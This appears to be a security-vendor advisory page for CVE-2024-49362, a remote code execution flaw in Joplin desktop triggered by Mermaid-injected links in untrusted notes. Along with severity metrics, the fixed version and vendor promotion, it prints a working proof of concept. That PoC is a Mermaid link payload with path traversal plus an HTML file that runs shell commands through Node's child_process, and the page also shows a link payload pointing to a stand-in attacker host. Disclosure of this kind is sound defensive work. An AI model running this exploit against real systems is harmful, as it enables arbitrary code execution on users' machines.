CVE-2024-49362 — joplin
HIGHCVE-2024-49362 is a high-severity (CVSS 7.7) Code Injection vulnerability in joplin. A fix is available for joplin — see the affected versions and patch details below.
Remote Code Execution on click of <a> Link in markdown preview
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2024-49362.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2024-49362 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
joplinnpmDescription
Summary
There is a vulnerability in Joplin-desktop that leads to remote code execution (RCE) when a user clicks on an <a> link within untrusted notes. The issue arises due to insufficient sanitization of <a> tag attributes introduced by the Mermaid. This vulnerability allows the execution of untrusted HTML content within the Electron window, which has full access to Node.js APIs, enabling arbitrary shell command execution.
Details
In the markdown preview iframe, Joplin only opens <a> links internally within the same Electron window if they contain the data-from-md attribute. While Joplin successfully sanitizes the data-from-md attribute in user-embedded <a> links from the .md file to prevent the execution of untrusted HTML content, it fails to sanitize the data-from-md attributes of <a> tags introduced by Mermaid (e.g., the code snippet shown below). Since Mermaid allows the rendering of certain scriptless HTML elements, an attacker can embed <a> tags with data-from-md attributes, which will then be opened internally in the same Electron window.
Additionally, Joplin opens the window with nodeIntegration set to true and contextIsolation set to false, resulting in any scripts running in the opened window having full access to Node.js APIs. Furthermore, the markdown preview iframe shares the same origin (i.e.,local file system) as its parent and lacks the sandbox attribute, allowing scripts running in the iframe to call Node.js APIs through window.parent. As a result, an attacker can execute arbitrary code using Node.js APIs by exploiting HTML files stored on the local file system, which share the same origin as the parent.
Relevant code references:
- Payload to inject
<a>withdata-from-mdattribute:
```mermaid
flowchart TD
A[<a href="https://attacker.com" data-from-md>hello</a>]
```
- Handling link navigation in the markdown preview iframe
- Window configuration of
Joplinwindow
PoC
Considering the user has downloaded the following shared files from the internet (Note: the threat model aligns with existing published security issues: GHSA-2h88-m32f-qh5m and GHSA-g8qx-5vcm-3x59, where the malicious HTML file is available locally):
poc.md
```mermaid
flowchart TD
A[<a href="/../../../../../../../../../../../../../../../path/to/poc2.html" data-from-md>hello</a>]
```
poc2.html
<html>
<body>
<script>
if (typeof window.parent.require !== 'undefined') {
const { exec } = window.parent.require('child_process');
exec('ls -al', (err, stdout, stderr) => {
if (err) {
document.body.innerText = `Error: ${err.message}`;
return;
}
if (stderr) {
document.body.innerText = `Stderr: ${stderr}`;
return;
}
document.body.innerText = stdout;
});
} else {
document.body.innerText = 'Require is not available in this environment.';
}
</script>
</body>
</html>
Then, open the poc.md with Joplin and click on the hello link. The code embedded in the poc2.html will be executed.
Impact
This vulnerability can lead to Remote Code Execution (RCE) when users open and interact with untrusted notes, while malicious HTML files are available locally.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | joplin | ≥ 3.0.0&&< 3.1.0 | 3.1.0npm install joplin@3.1.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for joplin, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update joplin to 3.1.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-49362 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2024-49362 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2024-49362. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2024-49362 in your dependencies?
O3 Security finds CVE-2024-49362 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.